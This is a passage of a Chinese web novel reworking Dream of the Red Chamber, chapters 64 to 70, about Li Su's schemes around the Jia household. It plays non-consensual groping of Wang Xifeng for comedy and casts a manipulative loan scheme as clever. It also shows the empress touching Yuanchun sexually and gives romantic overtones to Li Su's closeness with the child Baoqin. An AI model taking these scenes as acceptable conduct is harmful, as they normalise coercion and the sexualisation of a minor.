他蹲下来,在地上写下了这两个字,李素也顺势蹲了下来坐在一旁的石头上。 “家父李守中是原国子监祭酒,而妹妹嫁给了荣国府的贾珠,我当年跟林如海是同科,他是探花我是榜末。” 李素恍然,怪不得。 “所以那日见林如海我面上涂灰了,无颜见故人,而收拾荣国府,就是因为他们欺人太甚!” 李无色说到这里,不对,是李吾渉,面色愤怒。 “如何欺人了?” “被她那恶婆婆欺负,刚出嫁时晨昏定省,一日里就要站三个时辰,哪怕怀着我那外甥时也不少,后来贾珠死了,一日里反要四个时辰了。” “开始我妹妹出于孝道并不曾出口,后来实在受不住才托人写信告诉了我父亲,但是我父亲……嗯,朱明理学奉为圭臬,你能明白么?” 李吾渉说完就一副无奈的表情。 李素点头,他明白了,就是古板守旧,哪怕自己的女儿被人欺负死也要守理,嫁给人家就是人家的人,死活都不问。 “她婆婆欺负她的原因是什么?” 李吾渉苦笑道:“因为我妹妹识字!” 李素惊呆了,这是什么破理由?王夫人不识字?嫉妒了?或者是贾珠拿媳妇怼他娘,被迁怒了? “素哥儿,你能想通?” 李素摇摇头:“想不通,这老娘们儿,啧啧!不过你就是因为妹妹的事儿跟你父亲闹掰了?功名不要出来混社会了?这么叛逆吗?” “不是,而是因为另外一件事。” 第65章 氛围好极了 “什么事儿,能让你这个国子监祭酒家的公子哥儿,新科的进士离家出走混黑了?” 李无色摇摇头,叹息一声:“素哥儿,这是我的私事,就不说了。” 李素闻言起身就走。 “哎你别走,我还有事儿呢!” 见李素要走,他一把薅住了李素的衣角。 “私事儿?公事儿?” 李无色苦笑,他听明白了李素的意思。 但是真不想说,只能连连拱手求告:“素哥儿,真的是不想说,那是我的伤心事,算我求你了,行不行?” “那你欠我一个大人情!” “欠!” “以后我让你打狗,你不能撵鸡!” 李无色也发狠:“你让我吃屎都不喝尿,总行了吧?” “哈哈,不至于的色叔,咱们是什么关系,看似主仆,其实叔侄,来来,你说到底是什么事儿?”李素又重新坐了下来。 “事儿很简单,就是你能不能安排,我跟妹妹见一面?还有我那外甥,十几年没见她,是真想啊。” 李吾渉说着眼睛就泛红了。 李素瞪眼:“这还简单?你也别装深情,一点儿都不简单,不然你到京这么久,早摸进去了。” 他抹了一把眼睛,满脸堆笑:“嘿,素哥儿,对别人来说,无论是我进荣国府,还是你把她娘俩带出来,难如登天,但是对你来说只不过小事一桩。” “对我这么有信心?” “当然,你他娘的邪性。” “你再骂我,今晚就给你当妹夫。” “那感情好,呵呵。”李无色咧着嘴笑。 李素鄙视:“不要脸,不过你妹长的到底好不好看?” “自己去看。” 李素不理他了,没他脸皮厚,直接叫上宝琴带上她的丫鬟,就奔了林府,黛玉有交待让他住在林府,作为一个好男人自然要听夫人的话。 林府距离也并不远,李素把这所宅子前前后后看了一遍,不禁感慨,这才是列侯之家的体面,比扬州的宅子还要大一倍。 这么一大笔财产,原著中并没有交待,想必不知道被哪个给吞了去。 “你是林恩?” “小爷记得我?” “嗯,你是老管家林忠的侄子,我见过你,你何时到的?” “按姑娘的吩咐,已经到府有半月了,姑娘吩咐过了,小爷在京的日子,小的就支应着。” 李素收到了来自扬州的体贴,心中感动,随后问道:“我住哪?” “小爷跟我来。” 林恩头前引路,带着李素和宝琴就往后院儿走,到了一处侧院儿:“小爷,就是这里了。” 随后推开了院门儿,只见院中正有两个丫鬟和健妇正在忙碌,见李素和宝琴来了,忙来见礼。 李素一愣:“碧荷?你怎么来了?” 碧荷笑道:“见过小爷,姑娘说,小爷和薛姑娘进京,身边要有熟悉的人伺候着。” 好家伙,黛玉这是爱包围么? 李素心中暖意涌动:“好,那就有劳你了,薛姑娘的住处呢?” “西配房。” 同院儿?黛玉这是要作甚? 李素盘算了一下时间,给贾府送完年礼,拐几个丫鬟就该回扬州了,能赶上过年,回去给黛玉包个大红包。 时间有点儿紧,但是现在贾府求着自己去,自己就不能再上赶着,于是他就焦急的等着贾琏上门儿。 贾府比他更着急。 李素红了,上了京师的热搜,同时上热搜的就是贾元春了,一时就如双花红棍,风头无两。 子爵府的长史,算几品官儿? 女长史有没有品级? 没人知道。 没人知道,更是议论纷纷,好事者就开动自己的脑袋给贾元春定品,定岗,定职分。 这才过一天,贾府就有点儿熬不住了,没希望的时候,还可以装鸵鸟,但有了希望自觉就没了鸵鸟心,只有一腔翻身意。 随着贾政无颜面,在府里翘班儿,贾琏来了,带着嫂子来了。 李素听前面说王熙凤也来了,心中就有了主意,回到书桌旁写了封信,吩咐人去送给薛蝌。 贾琏跟王熙凤二人在前堂等着李素,打量着林府的陈设,心中就有些打鼓,这林府可不差,李素会跟他们去贾府么? 夫妻二人对视一眼,好似心有灵犀。 只不过王熙凤 却是在换算屋中陈设的银子,担心的只有贾琏。 “哈哈哈,琏二哥,什么风把你吹来了?” 就在二人有些等的心焦之时,只听的一声大笑,随后李素就进了屋。 贾琏大喜,正要见礼,李素进屋就把住了贾琏的手臂,拉着他往椅子上摁:“一大早我就听见喜鹊在叫,寻思今日必有贵人,没想到竟是琏二哥这般贵人。” 接着不待贾琏开口,就看向了王熙凤:“这是嫂子吧,我是李素,叫我兄弟就好,我跟琏二哥投缘,必有通家之好。” 王熙凤闻言就笑:“听你琏二哥说起,你待他好我就念着,今儿就同来瞧瞧兄弟,真真儿的是像林姑父一般人物,这又封了爵,以后定是个威风的大老爷呢。” 一夸就是两人,真是玲珑心思,琉璃嘴儿。 李素看着嫂子,就觉得有点儿馋:身材苗条,体态风骚,粉面含春威不露,真真儿的神仙妃子般风流貌相。 只是可惜一颗狠心肠儿,也不是真的骚。 他大步走到王熙凤面前,低头瞧着她笑道:“嫂子过奖了,琏二哥真好福气,得了嫂子这般神仙人物。” 王熙凤被他猛的接近,吓了一跳,尤其李素身材高大,突然的前压让她心中一颤,不自觉后退了一步。 但李素接着说道:“嫂子快坐,我就不张罗了,免得打翻了琏二哥的醋坛子。”” 说完就坐回了正位。 王熙凤的心,好似被这一下闪的有些加速,口中却不停:“素兄弟这话就见外了,且不说你们二人投缘,亲如兄弟,更何况你琏二哥呀,外面不知道有多少相好儿呢?” 李素回味了一下,比白皇后的要浓郁些的香,又大笑起来。 “哈哈哈,嫂子说的对,二哥若是吃醋,就咱俩一块儿过去,把他啊扔的远远儿的,咱们把他的银子也给昧了,让他那相好儿也不给他留门子。” 李素这般敞开了的调笑,反而让夫妻二人感到亲近起来,这就是京中亲近叔嫂间互逗的玩笑场面。 王熙凤刚才的心跳也没了踪影,一阵儿娇笑爽朗悦耳,贾琏则在一边指着李素苦笑摇头。 氛围好极了。 第66章 挖坑酒 “琏二哥跟嫂子今日来的巧,明日我就不在林府了。” 贾琏疑惑道:“额?这是为何?” 李素苦笑一声:“你们也看到了,这偌大的府邸,就三两个人住,我实在是不习惯,二哥跟嫂子有所不知,我双亲过世后,我最不喜的就是冷清。” “那跟嫂子走!” 王熙凤脱口而出,说完就后悔了。 她也是被李素这张脸给晃了一下,那难过的表情一出,就有些扯人心窝子。要不怎么说美女哭笑愁烦都是美呢,放在美男身上也适用。 “嫂子莫闹,二哥还在呢。” “哈哈哈,哎呦~你这兄弟。”王熙凤葱指一点,捂嘴娇笑起来,花枝乱颤。 贾琏也在一旁大笑起来,感觉这兄弟太投缘了。 等笑毕了,贾琏说起正事儿:“素兄弟,实不相瞒,今儿老祖宗又催我来请你了,赶巧儿你这住着也不妥帖,咱们就走可好?” “不合礼。” “怎么说?” “我一个外男住进国公府,咱们又没有亲戚,这不合适。” 贾琏急道:“合适啊,你是林姑父的弟子,一个徒弟半个儿,也就是咱们府里的姑表少爷,如何不合理?老祖宗就是这个意思,她老人家发话就是理。” “真合适?” “合适!”贾琏两口子齐声道。 “哈哈哈,那以后可要二哥跟嫂子照料了,天眼看就要黑了,我就请二哥跟嫂子饮宴一番,就当我这做兄弟的提前拜拜真佛!” “素兄弟,这真不用。” 贾琏有些为难,家里还等信儿呢。 “二哥跟嫂子今儿必须要给我这个面子!”李素说完就起身走到贾琏面前抓住了他的手臂拉着往外走。 贾琏无奈,也挣不脱只能跟着走,路过王熙凤身边他佯装生气:“嫂子也不许推脱!”随后又抓住了王熙凤的小手。 扯着二人就往饭厅而去。 王熙凤被抓手就有点儿懵,从没有被男人这么霸道对过,浑没了平时的机灵劲儿,用力挣了挣,但那大手就像铁钳哪里挣得动。 又加上本来就是来求人矮一头,看似李素抓着自己夫妻俩,就是热情劲儿好像也没有别的,就任他抓着迷迷糊糊的一路跟去。 但她忽略了李素抓的是贾琏的手臂,而她的是小手。 随着一路前行,她开始怀疑李素是不是故意占自己的便宜,但同时不知怎么,心里竟然冒出个念头,这么俊俏的爵爷抓自己,好似也不吃亏。 等到了饭厅,李素松开了手把贾琏摁到座位上后,扭身道:“嫂子也坐。” 王熙凤看去,只见他目光清正,心便踏实下来,是自己想多了。于是开口笑了起来:“今儿就沾一把素兄弟的光,尝一尝林姑父家里的席面儿。” “就是如此,哥哥还没尽地主之谊,反倒先吃素兄弟一顿,这去哪里说理?” “哈哈哈……” 菜过三巡,贾琏喝的有些高了,王熙凤也是粉面通红,李素把酒杯重重一放:“琏二哥,嫂子,说句不中听的,我替哥哥嫂子委屈啊!” “这怎么话说的?” 贾琏有些迷糊,他哪来的委屈,小酒喝着,姑娘玩儿着,也就是王熙凤经常让他不爽利。 王熙凤好似有那么一些感触,但也不明白李素这话什么意思。 “我虽然不在贵府,但也经常听师母说起,荣国府要论办事能力,属琏二哥,要论管家能力当属嫂子。” 这话不假,夫妻二人认同点头。 李素看着王熙凤:“但是,平胸而论!” “素哥儿,平心!”贾琏纠正道。 “额,平心而论,赦老爷是正位一等爵,二哥应是府里的正位少爷,嫂子更是府里的正经少奶奶,可是二哥地位能力都好,得到的什么?是呼来喝去,像个小厮!” 贾琏懵了一下,缓缓点头,好像有道理啊,那我应该得到什么? 李素又看向了王熙凤:“而嫂子呢?更像是被人支应的大管家,终日里忙里忙外,还要陪着万般笑脸,大事上有一件是嫂子能做的了主的么?” 王熙凤抬眼瞧向李素,这兄弟竟然看透了她的处境,看到了她的心酸。 自己可不就像个大管家么? “咱不说国公府的正位少爷应该是什么排场,就说侯府,伯府,哪个不是出门七八个小厮支应着,三五个护卫跟随着,花起银子更是如流水一般。” “素兄弟,别说 了,这……唉,都是老祖宗偏心啊!” 贾琏酒醉终于吐出了心声。 李素跟贾琏碰了一杯,二人一口干掉。 他接着继续说:“所以二哥跟嫂子要为自己打算啊,我听说二房的宝玉在府里才像个少爷,二哥能比得上多少?如果宝玉娶了亲,嫂子会被置于何地?” 王熙凤心里的妒火被勾了起来,主动给李素斟了一杯酒:“如何打算?” 李素瞧着这张娇艳的脸蛋儿,凑近了,为了不惹怀疑还一把薅过贾琏的脑袋。 只见三个人的脑袋凑在一起,李素低声道:“老太太万一谋划着赦老爷百年后,把爵位给宝玉,二哥和嫂子如何自处?又或者二哥不在了,宝玉自然就承爵了!” 夫妻二人被这话给吓到了,按照老太太对宝玉的宠爱,完全有可能。 说完李素的脑袋晃了一下,鼻子就蹭到了王熙凤的耳根处,李素呼吸的热气、酒气直喷她的耳孔。 王熙凤感到一股酥麻从耳根直下而去,身子顿时僵住了。 就见李素却好似真的喝醉了,又是一晃,扶住了桌子,随后他撑起了身子,跌坐在了椅子上,随后眼睛一闭睡着了。 “素……素哥儿。” 贾琏见状忙唤李素,他被李素刚才的话,吓得有些清醒了。 又唤了几声,李素还是没动静。 “让他睡会儿吧,别叫了。”王熙凤开口。 贾琏点点头,屋里安静了下来,夫妻俩面色有些凝重,想着心事。 此时外面却开始吵闹了起来,二人静听。 一个粗豪的声音说道:“我说就应该定价十五两,一石咱们就能赚五倍利。” “不,最多十两,这样咱们一年少说也有百万两的利,不能只看单价,要看总数。”这是一个年轻的声音。 “你懂什么?咱们这是独家买卖,又不缺银子,自然要长利。” “我不懂,我家常年经商,自然是落袋为安。” “得!咱们找素哥儿定吧,买卖是他的。” 贾琏和王熙凤听到这话,酒完全醒了,心中骇然,什么生意能有这么厚的利? 尤其王熙凤,眼中放出了光! 李素眯眼偷瞧,心说成了! 银子就是给你埋的坑。 第67章 嫂子要入局 很快就有两人迈步进来。 贾琏豁然起身,瞪大了眼睛:熟人! 宫门口天天见,他光挨揍了,就没有说过正经话,他不由得倒退了一步。 但忽的想起来,现在是一伙儿的了,又往前一步拦在二人面前,低声道:“小声些说话,素哥儿睡着了。” 王熙凤抬眼望去,竟是一个年轻的公子哥儿和一个半秃中年人。 年轻的公子哥道:“啊,那我们就不打扰了。” 贾琏赶紧拉住他:“兄弟留步,请问怎么称呼?” “你就不问我?”李无色瞪他。 贾琏讪笑:“贵姓?” 李无色冷哼一声,不再开口。 薛科拱了手:“薛蝌。” “我叫贾琏。” “我知道啊,我堂哥叫薛蟠,我伯娘的甥女嫁给了你,我是薛家二房的。” 贾琏大喜道:“这话儿说的,原来咱们是亲戚,我是薛蟠的表姐夫,你叫我琏二哥就对了。” 随后他一指王熙凤:“瞧,这就是薛蟠的表姐,你家嫂子,兄弟来坐……还有这位…”他一时间不知道怎么称呼李无色。 李无色没搭理他,扭头就走了。 “啊……额,蝌弟怎么来了?”李素伸了个懒腰,睁开眼睛问道。 薛蝌拱手行礼:“大兄,就是那雪盐……” 他说到这里看了看贾琏和王熙凤。 李素晃了晃脑袋,喝了口茶:“你说就是,琏二哥跟嫂子都是自家人,不必遮掩,你也坐下来,怎么都算亲戚,也熟悉一下。” 王熙凤热情接话:“对对对,都是亲戚,蝌兄弟,不知道我姑妈可好?” 薛蝌对王熙凤一礼,随后坐下来笑着回道:“表姐好,我大伯母好的很,还常念叨您呢,说打算上京来看看。” “那感情好,你瞧你到京里来了,也不跟我和你琏二哥说一声,回头姑妈不一定怎么拿话填我呢。” “是兄弟的不是。”薛蝌连连对贾琏王熙凤告罪。 众人都笑了起来,一时间气氛融洽和谐。 “不知刚才蝌兄弟说的雪盐是……?” 薛蝌瞧了一眼李素,见他点头,于是向贾琏说道:“是海外所得一盐,洁白如雪,细若尘粉,如今入了贡品,素哥儿说皇家也用不完,就向外发卖,卖多少银子我一时却拿不定主意。” 李素插话:“琏二哥和嫂子定是见多识广的,你说出来也好请哥哥嫂子帮忙参详参详。” 薛蝌再次拱手:“那就有劳琏二哥跟表姐了。” 王熙凤故做不快:“嗨,蝌兄弟这说的又是两家话了,我可不能依。” “雪盐是何模样?”贾琏问道。 薛蝌闻言从身上掏出一个瓷瓶,拔掉瓶塞儿,便往桌上倒,只见雪白细腻的盐便流散了出来,似白雪一般。 王熙凤眼睛一亮,不自觉的就探身用手捏起一撮儿,果然细腻! 贾琏也更是尝了尝。 他们二人虽然不下厨房,但经常会办理荣国府的采买,尤其吃火锅时常会用盐,是见过盐的,但大都没有如此细腻雪白,且微带些涩。 王熙凤想到,若是这盐一出,京里的各家勋贵、官家士绅还会用别的盐么? 不会了,再往远了说,天下间又有多少豪富小康之家都会用上,毕竟都不会差多少盐钱。 “蝌兄弟,打算卖多少银子?” “十两一石!” “少了!”王熙凤摇头。 薛蝌惊讶:“啊?那多少合适?” “二十两!” 薛蝌摇头:“表姐莫不是诳我?如何卖得如此贵?平日里的盐也就是二两银子。” “蝌兄弟有所不知,若是别个卖大概可以卖个十两,若是我来卖,二十两也卖得,而且卖得更多!” 王熙凤说完朝着贾琏使了个眼色,贾琏会意。 薛蝌大吃一惊:“表姐卖?” 王熙凤不答他的话,转身又给李素斟了一盏酒:“素兄弟,你这生意交与嫂嫂如何?我包你赚大笔的银子。” 王熙凤说完,看着李素眼中就似是含着一团火。 若是有了银子,自己和琏二的处境在府中就不同了,上下人等都会被自己收买,到时候谁说话才算就两说了。 李素失笑摇头:“嫂嫂,可知这是多大笔生意?空口无凭可不能交给你,况且你要知道这里面可还有皇家的份子,入进来可就和皇上一块做生意了。” 贾琏恍然,怪不得能跳过官盐发卖,刚才心中存的疑惑终于解了。 王熙凤闻言心中更是火热,以她的理解,能和皇帝搭上,那是多大的造化。 激动之下不由得拉住李素的手,身子探到李素面前:“兄弟,你说,如何才能让嫂嫂入了这个局?” 这神仙妃子的香气杂着酒气,直入李素的口鼻。 李素躲闪,有些慌乱看向贾琏:“嫂嫂松手……二哥,快拉开嫂嫂,这是要吃了兄弟我。” 贾琏见状大笑起来。 “哈哈哈,我可管不得你嫂嫂,小叔子可不就得挨嫂嫂的牙口么?” 李素咬牙切齿,反手握住了王熙凤的手,狠狠道:“哼哼……我算看出来了,今日里你们两个就是来欺负我这小叔子的。” “哈哈哈…便是如此啊…” 贾琏笑的前仰后合,同时给王熙凤使眼色。 王熙凤空着的手又抓住了李素的另一只手,两个人的身子顿时挨在了一起,眉眼儿更显妩媚,吐气如兰:“你若不让嫂嫂入局,今日里就别想跑了。” 李素面色一摊,无奈苦笑:“唉,怕了你们,入,入!……但是这么大的买卖口说无凭,得有保钱,这不是兄弟我想要,我也不缺银子,而是得向皇上有个交待。” 王熙凤见他答应,顿时大喜:“多少份子?需要多少银子?多了我可拿不出。” “最多可以给嫂嫂一成份子,二十万两,京城的出售交给嫂嫂,每卖出一石再给嫂嫂一成利钱。” 二十万一出口,王熙凤顿时傻眼儿,她满打满算能弄一万两银子。 但心里同时也开始在盘算,一年百万两就是一成就是十万,再加上京城一年能卖十万两,得利就是一万,两年就回本儿了,不能放弃! 贾琏闻言就有点儿打退堂鼓了,他本来也不是个赚银子的性子。 于是看向了王熙凤,王熙凤却没看他,反而往李素身边又凑了凑:“兄弟,我知道你是为你二哥和嫂嫂好,两年就回本儿,往后每年都是十几万的银子。” 贾琏心里根本没算到后面,听听王熙凤的话,心中顿时就想,这得干! “嫂嫂,继续说,别……别凑那么近,我…痒。” 贾琏在一旁又大笑起来,这兄弟就是个雏儿。 夫妻两人酒意本酣,被银子又这么一刺激,什么男女大妨都忘了个干净。 李素蹭便宜,薛蝌看笑话。 第68章 回味悠长 王熙凤娇笑。 紧了紧握着李素的手:“嫂嫂可是穷的很呢,能不能你借给嫂嫂一些银子?” “嗯,嫂嫂要借多少?” “十九万两!” “啊?” 李素一惊,松开王熙凤的手,起身就要走。 但王熙凤哪能让他跑了,说时迟那时快,双手一抱就环在了李素的腰上,贾琏也起身拦住李素。 “不许走!” 李素踉跄了一步,就往嫂子身上歪去,同时喊道:“哪有如此霸道的兄长与嫂子?”那声音委屈极了。 被砸了个满怀的王熙凤。也顾不得自己被素头袭胸了,用力把他往椅子上上抱,贾琏也在一旁扯。 李素晃了晃脑袋,心中默念一声:double kill! 王熙凤感觉心痒,但被银子冲昏了头脑的她,哪里顾得上自己的雪子:“好兄弟,就当嫂子求你了,嫂子记你一辈子的恩,但凡你二哥跟嫂子能做的,绝无二话!” “嫂子,你走开一些。” 王熙凤闻言反而更进一步,搂住了李素的脖子:“你休想,答应了嫂子,你说什么都成!” 贾琏看自己老婆跟李素这情形,不知为何,心中竟然有些异样的刺激,猛灌了一口酒大声嚷道:“对,凤儿!就不能放他,哈哈哈。” 李素无奈点头,脸颊就蹭上了凤姐儿的耳朵:“好好,我怕了你们这对公母了,我借还不行么?” 王熙凤大喜,恨不得抱着李素亲一口,完全感觉不到自己被占便宜,反而觉得李素异常亲近。 “嫂子,现在可以放过我了吧。” 李素伸手就推王熙凤的脸。 温热滑腻! “就放你一马,格格……嫂子给你斟酒,赔不是了。”王熙凤笑吟吟的给李素倒酒,大喜过望的贾琏也应声道:“对对,是你嫂子不对,二哥也陪你喝一杯!” 说着贾琏又一杯下了肚。 李素无奈接过王熙凤递过来的酒,叹息道:“怕了你们,但是借条是要写的啊!” “写写,现在就写,蝌兄弟,有纸笔么?” “有的表姐,我去取来。”薛蝌起身出去了。 李素拍了拍自己的额头。 “我是不是被你们给诳了?” 王熙凤佯怒:“哪有这等事?” “我算是栽到嫂子手里了,二哥,你好福气!”李素捧了贾琏一句,贾琏哈哈大笑起来,只觉得自己沾了大便宜。 很快薛蝌进来了,一边拿着借条一边开口道:“表姐,这抵押物应该写什么?” “抵押?” 王熙凤和贾琏心里咯噔一下,他俩哪有这么大数目的抵押物?但心中也明白,无论是谁也不可能空口白牙没有抵押就能借走十九万两。 李素的身子又打了晃,猛的一拍桌子:“要什么抵押?嫂子还不值十九万么,你就写还不上拿嫂子抵!” 随后醉眼朦胧的傻笑一句:“二。二哥,你……说,是…也不是?” 薛蝌看向贾琏和王熙凤,只见她眉开眼笑:“抵,抵!” “快写,快写!”贾琏催促道,生怕李素反悔了。 薛蝌无奈道:“要不等素哥儿酒醒了再议?” “我兄弟就没醉,蝌兄弟别瞎说。”王熙凤边说边拉着李素的手晃了起来。 李素目光呆滞,朝着王熙凤傻笑两声:“嫂子说的对…呃……没…没醉,写!” 说完一头又栽进了嫂子的怀里,随后就响起了呼声。 薛蝌无奈,只好写了起来。 夜深,打着荣国府灯笼的车子里。 坐着没请到李素,倒欠十九万两银子的贾琏和王熙凤。 二人此时感到无比的疲惫,但精神异常兴奋,各自畅想自己的未来。 一年十几万的收入,够自己天天住在百花楼了,再养上几个外宅,那日子还不得上天了? 这是贾琏的想法。 一年十几万的收入,在府里自己还用赔笑脸,见天儿的哄这个那个么?看谁不顺眼直接打死喂狗!最重要的是保住让自己穿上诰命大妆,贾琏的捐官儿可没能让自己挂上诰命的资格。 这是王熙凤的想法。 贾琏觉得应该哄哄老婆了,于是伸臂抱向了她的腰肢:“凤儿,还得是你,要换了我可拿不下这么大买卖,啧啧十九万两。” 王熙凤正在畅想未来,哪有跟他腻歪的心思,一把打开他的手:“哼!现在 知道我的好了?你前几天晚上回来那么晚,一身的骚味儿怎么回事?” 贾琏听这话就有点儿不干了,气道:“那不是应酬么?我可什么都没干,再说了要不是素哥儿认我,今天单凭你能办成这么大事儿?” “切!没你媳妇卖骚,你更办不成!” “哈哈哈,说什么骚不骚的?我看素哥儿这个雏儿,被你三两下给弄的,脸都红成猴儿屁股了。” 王熙凤也笑:“你这下流种子,就不担心,我被人拿去抵债?” 贾琏躺了下去,双手抱在脑后枕着,讥笑了一声。 “呵!谁能把国公府的少奶奶给拉走抵债?” 王熙凤抱了抱胸,奶疼! 而李素等这俩人走了,也没起身。 闭着眼睛回味儿了一阵子。 心说神仙妃子也不太准,应该是神仙香妃子,五个字儿。 而且这一回把李纨的事儿也算办成了,有王熙凤这个内鬼,什么人偷不出来? 等他睁开眼,薛蝌忙给李素倒了杯茶。 “大兄,就这么给他们一成股儿?” “亏你还是个经商的,商会扩大再生产都不懂?扩大自然要增资,没有银子就拿股本折嘛,好好学着!” 薛蝌恍然,他还真没有玩儿过这种套路,一直都是独资。 “嘿,谢大兄教诲。” 李素喝了口茶:“你最近没事儿多跟宝琴聊聊,这些事儿,我都教过她了。”随后他站起身来:“歇吧。” 薛蝌起身行礼:“大兄安歇!” 李素被林恩打着灯笼,引回了后院儿,院里还灯火通明,听到李素的脚步声,宝琴忙着迎了出来。 随后抬步快速来到李素身侧,就去架他的胳膊:“大兄喝这么许多酒,我让厨房炖了莲子汤,一会儿大兄吃一碗可好?” 李素挣开她的手,捏了一把她的翘鼻笑道:“你这小小的人儿,还学别人来搀我了,一会儿你陪大兄同吃。” 宝琴抬头笑:“好。” 随后二人就相携进了屋,宝琴拉着他坐在椅子上,随后出门儿去了。 李素闭着眼睛想着今晚的事儿,今晚释放他们夫妻俩的危机,他们应该不会盼着贾元春回家了吧。 毕竟按照常理,宝玉有个名声不好的姐姐,就娶不到更强的妻族,他俩才更安全,就是不知道这俩人能不能悟到? 第69章 贾元春夜求 不一会儿的功夫,李素听到房门被推开,脚步声响。 他睁开眼睛,只见宝琴端着一盆水进来,看模样稍稍有些吃力,瞧了他一眼也不说话。 随后就在李素愣神儿的功夫,缓步走到他面前,把盆放下,缓缓蹲下身子,就欲伸手脱他的靴子。 李素见状忙把腿一收,急道:“宝琴妹妹,别,这哪里是你应该做的?我自己来。” “我答应林姐姐要好好照顾大兄的,这许多日子,什么都没做过呢。”宝琴仰头看着他,说完后小嘴一抿,带着些许倔强。 “你林姐姐的话,也不要都听,也得听听你李哥哥的,不要勉强做自己不喜欢做的事。” “我…也…喜欢呢。” 宝琴低下了头,声音变的极轻。 “你说什么?靠近点儿。”李素说着就把她拽了起来,一把揽在了自己怀里。 宝琴被忽然搂住,不说话了,感觉自己的脸在发烫。 李素随后把她抱在自己腿上,下巴磕在她纤弱的肩上,轻声说道:“妹妹还小,以后这些伺候人的事儿不要做了,大兄等你长大。” 宝琴被他耳边的轻语,说的心中情绪涌动,眼眶渐湿,伸臂环住了李素的腰,紧了紧。 两个人就这么在椅子上抱在一起,烛火摇曳的冬夜,暧昧渐去,只有温暖。 凤藻宫。 白皇后夜半醒来,又梦见了李素那小鬼头火辣的眼睛。 换掉身上的亵裤,她赤足下了榻,地面经日不停地被地龙烤着,踩在上面极为温暖舒适,也只有此时,她才能任性一下,赤足走动。 不一会儿,她躺在了地上,来回打滚儿肆意舒展着自己玲珑的身姿,这美好无人可见,但她却极为满足。 这时候,才是一个真正的自己。 发泄过后,起身穿了鞋子,把衣装整理了一下,拉响了床头的铃儿。 很快有宫女进来,躬身道:“娘娘醒了,可有什么吩咐?” “贾元春还在宫外跪着?”白皇后开口,声音没有任何情绪。 “在,但已经晕过去了。” “救醒她带来见我。” “是。” 不一会儿,宫女搀着贾元春进来,只见她面色憔悴,身子不住的发抖,见到白后也不说话,不停的伏在地上叩头。 白皇后挥了挥手,宫女下去了,屋中就剩下了两人。 莲步轻移,走到贾元春面前,探身用手托住了贾元春的下巴,贾元春眼中含泪仰头看着皇后。 “真真儿的是一朵芙蓉牡丹,我见尤怜,真有些舍不得把你送走。” “娘娘慈悲。” “慈悲?”白皇后拧眉。 啪! 她忽然一个巴掌,扇在了贾元春的左脸上,厉声道。 “给你慈悲,谁给本宫慈悲?” 只见贾元春被打的身子一晃,左脸瞬间就红了起来,她流着泪不敢再开口了。 而白皇后却笑了。 轻抚着贾元春被打红的脸蛋儿,缓缓开口。 “这几年你做事兢兢业业,谨小慎微,仔细伶俐,分寸也是进退有度,按理说本宫是没有理由把你送走的,你也知道这事不是本宫的主意,你以为本宫能改变皇上的主意?” 贾元春面色凄苦,摇摇头说不出话来,只有眼泪不住的往下流。 她的命本就不好,年龄渐长就被送进宫,在这不得见人的去处一熬就是三五年,心也本如死灰,但家中给她的使命让她不得不撑着,等待。 被送出去做什么,对她来说都无所谓,但是家里给交待的使命就没法子做了,所以她想最后再求一次,成与不成她都算还尽了养育之恩。 此番流泪,不为挨打,更多是对自己身世的感怀,对生为女人的哀婉,国公府的嫡女也逃不过被人摆布。 白皇后的声音渐高。 “岂不知,这一步对你来说,也是好事?” 白皇后站起身边走动边继续说道。 “在这宫里,每个女人都想着自己有一天能爬上皇帝的龙床,逃出原本的牢笼,但这皇宫就是一个巨大的笼子,哪里又有自由身?” 白皇后面容讥讽,又笑了一声。 “就说本宫还不是就在这笼子里?每日在这方寸之地枯坐,芳华绝代也罢,母仪天下也罢,都是被关起来的一个孤独的可怜人罢了。” 贾元春万没想到皇后会对自己说出这样一番话,她终日在这凤藻宫,自己眼中 的皇后,美丽高贵端庄,永远那么温润优雅娴静。 应该是没有什么烦恼才对,哪里会想到她竟有这等的凄苦心境? 白皇后再次扬声,一指贾元春。 “而你,可以出去了!你尽可忘掉你的身份,什么嫁娶,什么女子不能抛头露面,那都是男人给咱们女子的枷锁,你看唐朝时候,哪里有这些个规范?” 贾元春心中大震,心灵好像瞬间被打开了一般:“娘娘,那我该如何做?” 白皇后又恢复了往日的温和,柔声道。 “本宫知晓,你来宫里无非是族中给的命,但你已经还完了,你接下来该为自己活着了,花园子爵……嗯…是个不错的人,厚道人,尽心服侍他,他定不会亏了你。” 白皇后说完,又探身轻抚贾元春的脸蛋儿、脖子……向下饱满。 贾元春面色变得羞红,身子微微颤抖着,闭上了眼睛,不敢看皇后了。 不一会儿,贾元春颤声:“娘娘!” 白皇后却没放手,反而笑了:“如此相貌,身段儿自然有造化。” 心里却补了一句:那小贼定然会喜爱吧。 白皇后蹲下身,帮贾元春整理了一下衣襟:“这大冷天儿的,以后别糟践自个儿了。” 贾元春忐忑点头,任凭皇后摆弄自己。 皇后随后站起身来,继续温声说道:“接下来,好好的梳洗整理好自个儿,你出去该有我凤藻宫的体面,等以后啊,有时间就常来宫里陪本宫说说话,说说外面的事儿。” “是,娘娘,元春记下了。” 贾元春下拜。 “去吧,走时,我会让夏公公给你个宫禁的腰牌。” 贾元春再次下拜。 白皇后挥了挥手不再多言,于是她费力的从地上爬起来,躬身退出了房间。 最后出门时,瞥见皇后背身在烛火的映照下,身影被拉的极长。 她看到了孤单。 西暖阁,一夜未眠的雍和帝,面色深沉。 再次看了一眼,绣衣卫传来的消息:山东青州卫秘密出动,二十日归营,无异常响动,都督汤雄自缢身亡。 很明显,这是要李素命的,也是拆他这个皇帝台的! 汤雄啊,以前贾代善的亲卫营出身。 雍和帝扭头,对在一旁伺候的夏守忠道:“去!督促李素的府邸尽快修好,贾元春尽快出宫。” 第70章 突袭荣国府 “大兄今日里该穿青色衣裳。” “我这套刚穿一日,也没脏啊。” “不行!且不说林姐姐有交待,大兄今日里去那国公府送年礼,也要有子爵府的体面呢。” 薛宝琴大眼睛小萝莉的倔强模样可爱极了。 “行行,听你的,我换……哈哈。” 李素捏了一把她的小脸蛋儿,从她手里接过衣袍就进了里间。 嗯? “你跟进来作甚?出去!” 宝琴支吾了一句:“那……那我等大兄换好后,再看哪里不妥帖。”然后拧身出去了。 李素摇摇头,心里琢磨着小丫头这是因为刚来京师心中不安?怎么忽然有些黏自己了? 他哪里知道,这几个月的时间,从他一开始的威武唐突,硬留林府,薛蝌的引导,黛玉又拿她当姐妹,已经让这丫头从慕强到认命,到喜欢,心里对他产生了很强的依赖了。 就是一种童养媳的心态,李素就是他的依靠,有李素她就开始有家了,这种归属感是这个社会的常态。 